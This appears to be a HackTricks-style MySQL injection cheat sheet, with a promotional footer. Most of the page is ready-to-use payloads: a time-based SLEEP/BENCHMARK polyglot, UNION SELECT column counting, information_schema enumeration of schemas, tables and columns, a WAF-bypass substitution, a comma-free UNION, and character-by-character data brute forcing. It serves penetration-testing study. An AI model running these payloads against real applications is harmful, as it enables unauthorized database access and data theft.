MySQL injection
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-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
Remember that in "modern" versions of MySQL you can substitute "information_schema.tables" for "mysql.innodb_table_stats" (This could be useful to bypass WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
group_concat()Limit X,1
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Using a simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
Remember that in "modern" versions of MySQL you can substitute information_schema.tables for mysql.innodb_table_stats** ** or for sys.x$schema_flattened_keys or for sys.schema_table_statistics
Select 2 columns without using any comma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
You ca see other executions inside the MySQL reading the table: sys.x$statement_analysis
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 19d ago